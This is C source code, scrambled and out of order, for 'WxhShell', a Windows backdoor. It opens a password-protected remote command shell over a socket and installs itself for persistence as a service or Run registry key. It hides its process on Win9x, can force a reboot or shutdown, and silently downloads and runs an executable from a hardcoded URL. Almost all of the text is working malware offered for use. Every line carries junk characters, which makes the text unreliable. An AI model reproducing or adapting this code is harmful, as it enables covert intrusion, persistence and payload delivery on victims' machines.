  // 关机 {Yxvb**  
  case 'd': { QswPga(-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b&!}SZ  
    if(Boot(SHUTDOWN)) (+v':KH3_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^?fsJ  
    else { oU1N>,  
    closesocket(wsh); 8#$HKWUK  
    ExitThread(0); BD]J/o  
    } ,9G'1%z,  
    break; xytWE:=  
    } H9jlp.F  
  // 获取shell {G=>WAXo  
  case 's': { 'KmM %tN  
    CmdShell(wsh); 7|=SZ+g  
    closesocket(wsh); ]uhG&: }  
    ExitThread(0); 0(c,J$I]Z!  
    break; &kd W(;`  
  } S".|j$  
  // 退出 qDG x (d  
  case 'x': { NblPVxS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uD{-a$6z  
    CloseIt(wsh); ;PMPXN'z6  
    break; %62|dhl6  
    } ([$KXfAi]h  
  // 离开 A?HDY_u  
  case 'q': { ksU& q%1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9u=]D> kb  
    closesocket(wsh); JT}"CuC  
    WSACleanup(); x!I@cP#O  
    exit(1); ){/n7*#Th%  
    break; Z5rL.a&  
        } ^'N!k{x  
  } |7|'J Ty  
  } rk=w~IZJ3  
OkQ< Sc   
  // 提示信息 ?_{{iil  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQt[he$O  
} 9r\p4_V  
  } Se??E+aX  
85"Szc-#  
  return; m6 M/G  
} g#{7qmM  
d>J +7ex+  
// shell模块句柄 KDg%sgRu}  
int CmdShell(SOCKET sock) /FXb,)1t  
{ T^8`ji  
STARTUPINFO si; 68~]_r.a  
ZeroMemory(&si,sizeof(si)); M&Q&be84  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s;<]gaonB_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rr1,Ijh{D  
PROCESS_INFORMATION ProcessInfo; F'<XB~ &o  
char cmdline[]="cmd"; 7zQGuGo(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l66 QgPA  
  return 0; 4t*VI<=<[  
} w'i+WEU>l  
?aaYka]  
// 自身启动模式 ]S(nA!]  
int StartFromService(void) MYJDfI  
{ KxmB$x5-=8  
typedef struct \o,et9zDJ3  
{ R90chl   
  DWORD ExitStatus;  CU\r I  
  DWORD PebBaseAddress; !x-9A  
  DWORD AffinityMask; @(/$;I,  
  DWORD BasePriority; Ei,dO;&  
  ULONG UniqueProcessId; N}z]OvnZH  
  ULONG InheritedFromUniqueProcessId; N^`S'FVA  
}   PROCESS_BASIC_INFORMATION; e'|P^G>g  
FzsW^u+  
PROCNTQSIP NtQueryInformationProcess; +A 6kw%"  
"5,Cy3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; , Z1 &MuV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rIv#YqT  
F9_X^#%L  
  HANDLE             hProcess; Ka{QjW!%d<  
  PROCESS_BASIC_INFORMATION pbi; suX^"Io%!  
[mUC7Kpi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q 3,p=ijJ  
  if(NULL == hInst ) return 0; l Hu8ADva  
F%ukT6xp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); slA~k;K:_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !9zs>T&9a\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0}_1 ZU  
sZa>+  
  if (!NtQueryInformationProcess) return 0; r_^]5C\  
coXm*X>z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A8nf"mRD:  
  if(!hProcess) return 0; k~Y_%#_  
mk-L3H1@J3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tp V61L   
@!\lt$  
  CloseHandle(hProcess); )Zyw^KN^  
&~)1mnv.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pR:cnkVF  
if(hProcess==NULL) return 0; z\J#d 1e  
&C/,~pJ1S  
HMODULE hMod; o2y #Yk  
char procName[255]; SsL>K*t5  
unsigned long cbNeeded; r)w]~)8  
,-1taS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gnqun%  
]waCYrG<sY  
  CloseHandle(hProcess); "aGpC{  
h_t<Jl  
if(strstr(procName,"services")) return 1; // 以服务启动 o[G,~f\-  
P-N+  
  return 0; // 注册表启动 U,2\ TBz  
} 44hz,  
40LA G  
// 主模块 rYA4(rYq  
int StartWxhshell(LPSTR lpCmdLine) xe1xP@e?  
{ O;;vz+ j  
  SOCKET wsl; ^@q $c  
BOOL val=TRUE; V/DdV}n!  
  int port=0; `ucr;P  
  struct sockaddr_in door; `{@?O%UB  
>\ym{@+*  
  if(wscfg.ws_autoins) Install(); pc_$,RkN  
u/ 74E0$S  
port=atoi(lpCmdLine); 6EX8,4c\  
I^y,@EHR  
if(port<=0) port=wscfg.ws_port; Gm LKg >%  
WXE{uGc  
  WSADATA data; !eB&3J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zh.9j7 >p  
x42m+5/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DU[vLe|Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J3=^ +/g  
  door.sin_family = AF_INET; wkZ}o,{*:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @k2nID^>  
  door.sin_port = htons(port); k*xgF[T 8  
?IV3"\5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bQ2 '*T  
closesocket(wsl); uYwJ[1 C  
return 1; A&QO]8  
} (}n,Ou[  
jJCd2O]  
  if(listen(wsl,2) == INVALID_SOCKET) { Q2/ZO2  
closesocket(wsl); e?~6HP^%.  
return 1; T#sKld  
} I_@XHhyVZ  
  Wxhshell(wsl); iY1JU -S  
  WSACleanup(); wp8ocZ-Gj  
Cy##+u,C  
return 0; $nbZ+~49  
:<Y, f(c  
} w873: =  
9y"*H2$#  
// 以NT服务方式启动 7w{>bYP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PYz^9Ud 6g  
{ lGZ^ 8  
DWORD   status = 0; kC)ye"r  
  DWORD   specificError = 0xfffffff; VDq?,4Kb  
7*r7Q'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vL7 JzSU_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LHz-/0 [  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HGpj(U:`c  
  serviceStatus.dwWin32ExitCode     = 0; "(rG5z3P  
  serviceStatus.dwServiceSpecificExitCode = 0; NrdbXPHceN  
  serviceStatus.dwCheckPoint       = 0; .DSmy\FI5  
  serviceStatus.dwWaitHint       = 0; {` Lem  
%<w)#eV?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ']ussFaQ  
  if (hServiceStatusHandle==0) return; `PR)7}/<  
aJ1<X8  
status = GetLastError(); n089tt=TE  
  if (status!=NO_ERROR) z@3t>k|K  
{ 3Vl?;~ :5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7a}vb@  
    serviceStatus.dwCheckPoint       = 0; lclSzC9  
    serviceStatus.dwWaitHint       = 0; s`G3SE  
    serviceStatus.dwWin32ExitCode     = status; h7|#7 d  
    serviceStatus.dwServiceSpecificExitCode = specificError; E hROd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r_f?H@v  
    return; 3U0>Y%m|,  
  }  3%G>TB  
0m^(|=N-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [wJM=` !W  
  serviceStatus.dwCheckPoint       = 0; MV<2x7S  
  serviceStatus.dwWaitHint       = 0; 1>1&NQ#}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ap{p_~~iJ  
} a'zf8id  
=Vv"\p8  
// 处理NT服务事件,比如:启动、停止 Quy&CV{@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |Fk>NX  
{ w]hs1vch  
switch(fdwControl) Ccld;c&+  
{ ndn)}Z!0h  
case SERVICE_CONTROL_STOP: _h2axXFhT  
  serviceStatus.dwWin32ExitCode = 0; WKib$(%f6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Q;%hb  
  serviceStatus.dwCheckPoint   = 0; 9@LL_r`?<  
  serviceStatus.dwWaitHint     = 0; zU;%s<(p  
  { %- W3F5NK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "/e:V-W   
  } z  %Ty;  
  return; |UN0jR  
case SERVICE_CONTROL_PAUSE: E({W`b~_f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2HNKq<  
  break; r%*,pN7O  
case SERVICE_CONTROL_CONTINUE: diF-`~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \wjT|z1+Y  
  break; 1k)31GEQw  
case SERVICE_CONTROL_INTERROGATE: 'c7'iDM  
  break; v(0IQ  
}; 'zJBp 9a%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :9H`O!VF  
} HNUpgNi  
i'cGB5-j  
// 标准应用程序主函数 ]EN+^i1F[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FhP$R}F  
{ ;B^ 9sr  
nyoLrTs{  
// 获取操作系统版本 '048Qykt;  
OsIsNt=GetOsVer(); t6q7 w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dDg[ry  
R$Rub/b6  
  // 从命令行安装 ;No i H&  
  if(strpbrk(lpCmdLine,"iI")) Install(); "g5<jp  
dz6&TdEl  
  // 下载执行文件 */_$' /q V  
if(wscfg.ws_downexe) { `w8Ejm?n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G1 K@Ir<  
  WinExec(wscfg.ws_filenam,SW_HIDE); a S;z YD  
} PIHix{YR  
m$.7) 24  
if(!OsIsNt) { .DR*MQI9  
// 如果时win9x,隐藏进程并且设置为注册表启动 <`V_H~Z  
HideProc(); ([ jm=[E^  
StartWxhshell(lpCmdLine); !U7}?i&H  
} mI,a2wqi  
else rff_=(?i  
  if(StartFromService()) :Z[|B(U  
  // 以服务方式启动 aCRiW;+'  
  StartServiceCtrlDispatcher(DispatchTable); #Zg pm"MW  
else ]."t  
  // 普通方式启动 x'v-]C(@  
  StartWxhshell(lpCmdLine); r9Vt}]$aG  
g#iRkz%l)&  
return 0; + Pc2`,pw|  
} ,.HS )<B  
|jI|} ,I  
5(>ux@[qI:  
cd&sAK"  
=========================================== V8O-|7H$ v  
Eo`'6 3  
BhUGMK  
**CGkL  
03n+kh  
{^.q6,l  
" r,<p#4(>_  
W5uC5C*,l  
#include <stdio.h> +<T361eyY  
#include <string.h> <CcSChCg  
#include <windows.h> hRQw]  
#include <winsock2.h> $ghlrV;:ct  
#include <winsvc.h> b:PzqMh{G  
#include <urlmon.h> B un^EJ)  
e>UU/Ks  
#pragma comment (lib, "Ws2_32.lib") mwMcAUD]2  
#pragma comment (lib, "urlmon.lib") ,`ba?O?*G  
?>1wZ  
#define MAX_USER   100 // 最大客户端连接数 i'B$Xr  
#define BUF_SOCK   200 // sock buffer Ou_2UT  
#define KEY_BUFF   255 // 输入 buffer 2U`!0~pod  
^v&"{2  
#define REBOOT     0   // 重启 F]L96&  
#define SHUTDOWN   1   // 关机 ?BX}0RWMh7  
m f\tMik<  
#define DEF_PORT   5000 // 监听端口 nKmf#  
L=@8Z i!2<  
#define REG_LEN     16   // 注册表键长度 M4n0GWHLy  
#define SVC_LEN     80   // NT服务名长度 Cb6K!5[q]  
* qJHoP;  
// 从dll定义API b5#Jo2C`AJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kp Rk.Q*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )43z(:<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3F8K F`*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l>T]Y  
v"*c\,  
// wxhshell配置信息 Y 8-;eqH  
struct WSCFG { O YfRtfE  
  int ws_port;         // 监听端口 OWp`Wat  
  char ws_passstr[REG_LEN]; // 口令 E&ReQgBft  
  int ws_autoins;       // 安装标记, 1=yes 0=no -nZDFC8y$  
  char ws_regname[REG_LEN]; // 注册表键名 `k7X|  
  char ws_svcname[REG_LEN]; // 服务名 e F(oHn,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p@?ud%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *Oq& g\K)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yBCLS550  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,b<m],p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :<H4hYt2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N>iNz[a q  
jFl!<ooCo  
}; T3Sz<K$E  
pI1g<pe  
// default Wxhshell configuration !ZM*)6^  
struct WSCFG wscfg={DEF_PORT, y~z&8XrH  
    "xuhuanlingzhe", mMT\"bb'  
    1, .dn#TtQv  
    "Wxhshell", or"9I1o  
    "Wxhshell", u p]>UX8  
            "WxhShell Service", /A-VT  
    "Wrsky Windows CmdShell Service", P\h1%a/D  
    "Please Input Your Password: ", oz%{D@CF  
  1, 7e[&hea  
  "http://www.wrsky.com/wxhshell.exe", RJ-J/NhWyI  
  "Wxhshell.exe" jw)c|%r>  
    }; `*xSn+wL`_  
<Wd_m?z  
// 消息定义模块 &{bNa:@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (/S6b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TCK#bJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {]iM5?  
char *msg_ws_ext="\n\rExit.";  zj$Ve  
char *msg_ws_end="\n\rQuit."; I/zI\PP,  
char *msg_ws_boot="\n\rReboot..."; #@ F   
char *msg_ws_poff="\n\rShutdown..."; RLO<5L  
char *msg_ws_down="\n\rSave to "; @cQ |`  
EvT"+;9/p  
char *msg_ws_err="\n\rErr!"; ($!g= 7  
char *msg_ws_ok="\n\rOK!"; ;)vs=DK:)  
4O4}C#6(4  
char ExeFile[MAX_PATH]; )"g @"LJ=  
int nUser = 0; ?z3|^oU~d  
HANDLE handles[MAX_USER]; (S_1C,  
int OsIsNt; t1p[!53(  
CQA^"Ll  
SERVICE_STATUS       serviceStatus; QrLXAK\5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ItE)h[86  
@>F`;'_*z  
// 函数声明 !>fi3#Fi  
int Install(void); [7l5p(=  
int Uninstall(void); v?o("I[ C  
int DownloadFile(char *sURL, SOCKET wsh); pIPjTQ?cq  
int Boot(int flag); Gb.}af#v  
void HideProc(void); ^Yo2R  
int GetOsVer(void); Pa{bkr  
int Wxhshell(SOCKET wsl); ?{~. }Vn  
void TalkWithClient(void *cs); =j@8/  
int CmdShell(SOCKET sock); K,!f7KKo  
int StartFromService(void); [9Hrpo]tU:  
int StartWxhshell(LPSTR lpCmdLine); %htbEKWR  
<U}25AR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KssIoP   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zomg$@j  
;(s.G-9S  
// 数据结构和表定义 } <q=Zq+  
SERVICE_TABLE_ENTRY DispatchTable[] = lWFm>DiLY  
{ 3V/f-l]X/  
{wscfg.ws_svcname, NTServiceMain}, R4XcWx*pQ  
{NULL, NULL} xw3A|Aj?r  
}; XeozRfk%J|  
787}s`,}  
// 自我安装 `nL^]i  
int Install(void) }b>e lz  
{ V_9> Z?  
  char svExeFile[MAX_PATH]; RohD.`D  
  HKEY key; wEEFpn_   
  strcpy(svExeFile,ExeFile); >+S* Wtm5  
84gj%tw'-  
// 如果是win9x系统,修改注册表设为自启动 Ws[d.El  
if(!OsIsNt) { _m1WY7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nVk]Qe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 30h1)nQ$h}  
  RegCloseKey(key); ;{rl Y>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &_Z8:5e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =@k 3*#\  
  RegCloseKey(key); P,n:u'Iwy  
  return 0; `(L<Q%  
    } L/:u  
  } tHo/Vly6Z  
} L\^H#:?t  
else { Ec['k&*7,  
3M{b:|3/q  
// 如果是NT以上系统,安装为系统服务 mGUl/.;yp-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "#`c\JuR ]  
if (schSCManager!=0) LiD-su D  
{ MP`WU}2  
  SC_HANDLE schService = CreateService _ 3>|1RB  
  ( m}nA- *  
  schSCManager, 1I U*:Z;Rz  
  wscfg.ws_svcname, Alb5#tm:m  
  wscfg.ws_svcdisp, WR>2t&;E  
  SERVICE_ALL_ACCESS, zyFbu=d|O:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eC-nV)]I9  
  SERVICE_AUTO_START, sJYs{Wm  
  SERVICE_ERROR_NORMAL, JOx""R8T5  
  svExeFile, 2@ f E!  
  NULL, umc\x"i%  
  NULL, 0N3S@l#,\A  
  NULL, q\87<=9J  
  NULL, !_[^%7"S1  
  NULL J""N:X!1  
  ); q,eXH8 x  
  if (schService!=0) (?zZvW8  
  { \J^|H@;(@  
  CloseServiceHandle(schService); QX 393v!  
  CloseServiceHandle(schSCManager); |h%fi-a:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZBfB4<M9xS  
  strcat(svExeFile,wscfg.ws_svcname); zXg/.z]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qbdv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UkBr4{+aE  
  RegCloseKey(key); qxglA*/ [  
  return 0; H>5@/0cL2  
    } K\>CXa  
  } ic|>JX$G  
  CloseServiceHandle(schSCManager); } g[(h=Qi  
} NYZI;P1DA  
} y-CVyl  
M kadl<  
return 1; <ba+7CK] w  
} REwZ41   
)*3sE1  
// 自我卸载 VR_bX|  
int Uninstall(void) jR&AQ-H&  
{ gL;tyf1P  
  HKEY key; c6)q(zz  
sp$W=Wu7  
if(!OsIsNt) { GPnSdGLC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FzGla})  
  RegDeleteValue(key,wscfg.ws_regname); nLjo3yvV..  
  RegCloseKey(key); h|Uy!?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K-*q3oh G  
  RegDeleteValue(key,wscfg.ws_regname); u.sn"G-c  
  RegCloseKey(key); 6~v|pA jY  
  return 0; /h'b,iYVV  
  } 4d0<uB&v'  
} y|@=j~}Zq  
} k"2xyzt*  
else { /.aDQ>  
h47l;`kD-#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  )7Ed }6%  
if (schSCManager!=0) ?#917M  
{ MM%c   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jVpk) ;vC  
  if (schService!=0) e RjpR?!\  
  { )v67wn*1A  
  if(DeleteService(schService)!=0) { i;$'haK<  
  CloseServiceHandle(schService); *u%4]q  
  CloseServiceHandle(schSCManager); ]n:)W.|`R  
  return 0; r:Xui-  
  } L?n*b  
  CloseServiceHandle(schService); <ctn_"p Z  
  } $dLPvN  
  CloseServiceHandle(schSCManager); If_S_A c  
} JOIbxU{U_  
} &~7b-foCq  
bu#}`/\_  
return 1; ( U |[C*  
} UC34AKm  
}9xEA[@;  
// 从指定url下载文件 J$?*qZ(oO  
int DownloadFile(char *sURL, SOCKET wsh) BZE~k?*  
{ /IC7q?avQN  
  HRESULT hr; \5_7!.  
char seps[]= "/"; &@xixbg  
char *token; U/oncC5  
char *file; 4yH=dl4=44  
char myURL[MAX_PATH]; QMfa~TH#p  
char myFILE[MAX_PATH]; j9za)G-J  
*_z5Pa`A  
strcpy(myURL,sURL); NVMhbpX6  
  token=strtok(myURL,seps); Z?5kO-[  
  while(token!=NULL) \S@;>A<J  
  { '%`W y@  
    file=token; {qCmZn5  
  token=strtok(NULL,seps); WKQVT I&A.  
  } #<bt}Tht  
@hiwq 7[j  
GetCurrentDirectory(MAX_PATH,myFILE); <;.Zms${@  
strcat(myFILE, "\\"); N}>XBZy  
strcat(myFILE, file); mlY0G w_e  
  send(wsh,myFILE,strlen(myFILE),0); J..>ApX  
send(wsh,"...",3,0); 1TKOvy_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RTNUHz;{L  
  if(hr==S_OK) ]cnLJ^2  
return 0; XnQo0 R.PW  
else "}]1OL SV  
return 1; pCNihZ~  
M ,8r{[2  
} D!~-53f@  
x(z[S$6Y\  
// 系统电源模块 hp}J_/+4n  
int Boot(int flag) @U%I 6 t  
{ ~n84x  
  HANDLE hToken; Ak$gh b  
  TOKEN_PRIVILEGES tkp; V$+xJ  m  
z.:{   
  if(OsIsNt) { JI}(R4uV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wr7^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a'ViyTBo  
    tkp.PrivilegeCount = 1; F t%f"Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DA@YjebP'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s,Cm}4L6  
if(flag==REBOOT) { SQ)$>3>C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l'(Cxhf.W  
  return 0; {b>tX)Tep  
} "2X=i`rTi  
else { jBV2]..  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uRQm.8b  
  return 0; U%ce0z  
} Pn5@7~  
  } lC +p2OG^[  
  else { tgDmHxB]0  
if(flag==REBOOT) { 9/RbfV[)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `/<KDd:_t  
  return 0;  c/I.`@  
} oq=D9  
else { ~<3qsA..  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4em7PmT  
  return 0; vfJ}t#%UH  
}  pFGK-J  
} k'wF+>  
LQ?J r>4  
return 1; O9]j$,i  
} _$By c(.c  
Wy,DA^\ef  
// win9x进程隐藏模块 "TKf" zc  
void HideProc(void) V{fYMgv  
{ fEdQR->  
%lV&QQa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %L{H_;z  
  if ( hKernel != NULL ) K GkzE  
  { 'bkecC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {SW104nb&#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |,5b[Y"Dt  
    FreeLibrary(hKernel); S)z jfJR  
  } 3~BL!e,  
}#q9>gx  
return; -[v:1\Vv  
} O1coay  
 "=H7p3  
// 获取操作系统版本 Fm{Ri=X<:  
int GetOsVer(void) Fg?Gx(g4  
{ OibW8A4Z1  
  OSVERSIONINFO winfo; $ # @G!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N- ?U2V  
  GetVersionEx(&winfo); 3`J?as@^8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @ h([c  
  return 1; X_|8CD-@6  
  else P@p(Y2&~g  
  return 0; 1#Dpj.cO#  
} _$0<]O$  
jwTb09  
// 客户端句柄模块 D*`|MzlQ  
int Wxhshell(SOCKET wsl) PX[taDN  
{ &6PZX0M  
  SOCKET wsh; Uq~{=hMX  
  struct sockaddr_in client; |h*H;@$  
  DWORD myID; (}"r 5  
vAq`*]W+  
  while(nUser<MAX_USER) $uawQf+S  
{ 8N!E`{W  
  int nSize=sizeof(client); `.Y["f 1B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mvrc[s+o  
  if(wsh==INVALID_SOCKET) return 1; F^IYx~:  
C!B2 .:ja  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -Uq I=#  
if(handles[nUser]==0) +e%9P%[+  
  closesocket(wsh); Tm_AoZH  
else xqO'FQO%  
  nUser++; RERum  
  } zVZZdG~8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jj|HeZ1C f  
Yp./3b VO  
  return 0; q*Yh_IT.I  
} /P5w}n  
a =*(>=  
// 关闭 socket NUEy0pLw  
void CloseIt(SOCKET wsh) NM/?jF@j*  
{ 5Qo\0YH  
closesocket(wsh); ~LuZ pV  
nUser--; N/TU cG|m\  
ExitThread(0); rv&(yA  
} S$+vRX7  
,4jkTQ*@2  
// 客户端请求句柄 wZh&w<l'  
void TalkWithClient(void *cs) @xm O\  
{ v6HBO#F'V{  
iT%aAVs  
  SOCKET wsh=(SOCKET)cs; Va\dMv-b  
  char pwd[SVC_LEN]; qWGnIPk  
  char cmd[KEY_BUFF]; n(/(F `  
char chr[1]; V z8o  
int i,j; 5 1@V""m  
|J'@-*5?[8  
  while (nUser < MAX_USER) { 0V"r$7(}  
Cv>|>Ob#  
if(wscfg.ws_passstr) { )(9>r /bq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A$WE:<^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ji :2P*  
  //ZeroMemory(pwd,KEY_BUFF);  VD;Ot<%  
      i=0; V2,54YE  
  while(i<SVC_LEN) { U voX\  
GX&BUP\  
  // 设置超时 =_\5h=`Yx  
  fd_set FdRead; n %"q>  
  struct timeval TimeOut; >:Na^+c  
  FD_ZERO(&FdRead); Y]P'; C_eP  
  FD_SET(wsh,&FdRead); $}jp=?,t  
  TimeOut.tv_sec=8; 7$<.I#x  
  TimeOut.tv_usec=0; wXMKQ)$(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KF|+# qCN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n&D<l '4  
Z%y>q|:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2^bq4c4J  
  pwd=chr[0]; |[CsLn;  
  if(chr[0]==0xd || chr[0]==0xa) { _~&6Kb^*  
  pwd=0; *$Z}v&-0k  
  break; iN"kv   
  } JC(rSs*  
  i++; 4v T!xn  
    } 8s/gjEwA  
r )ZUeHt}w  
  // 如果是非法用户,关闭 socket }Xr-xh \v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w0)V3  
} 4[ M!x  
{2vk<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lTv I;zy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,3.E]_3 xX  
L)a8W   
while(1) { =dHM)OXD"  
d=o|)kV  
  ZeroMemory(cmd,KEY_BUFF); FAfk;<#'n+  
V8ZE(0&II}  
      // 自动支持客户端 telnet标准   wdS^`nz|  
  j=0; );_g2=:#  
  while(j<KEY_BUFF) { ]@Y8! ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b4Br!PL@G  
  cmd[j]=chr[0]; 5B#q/d1/a  
  if(chr[0]==0xa || chr[0]==0xd) { .X\p;~H 5  
  cmd[j]=0; `utv@9 _z  
  break; k<Z^93 S  
  } T1m"1Q  
  j++; gS_)(  
    } vp? 87h  
t 9&xk?%{  
  // 下载文件 ((Ak/qz  
  if(strstr(cmd,"http://")) { ;&q}G1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I@+h| n  
  if(DownloadFile(cmd,wsh)) j2c -01}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_/9eI~X  
  else <`i " 5`J  
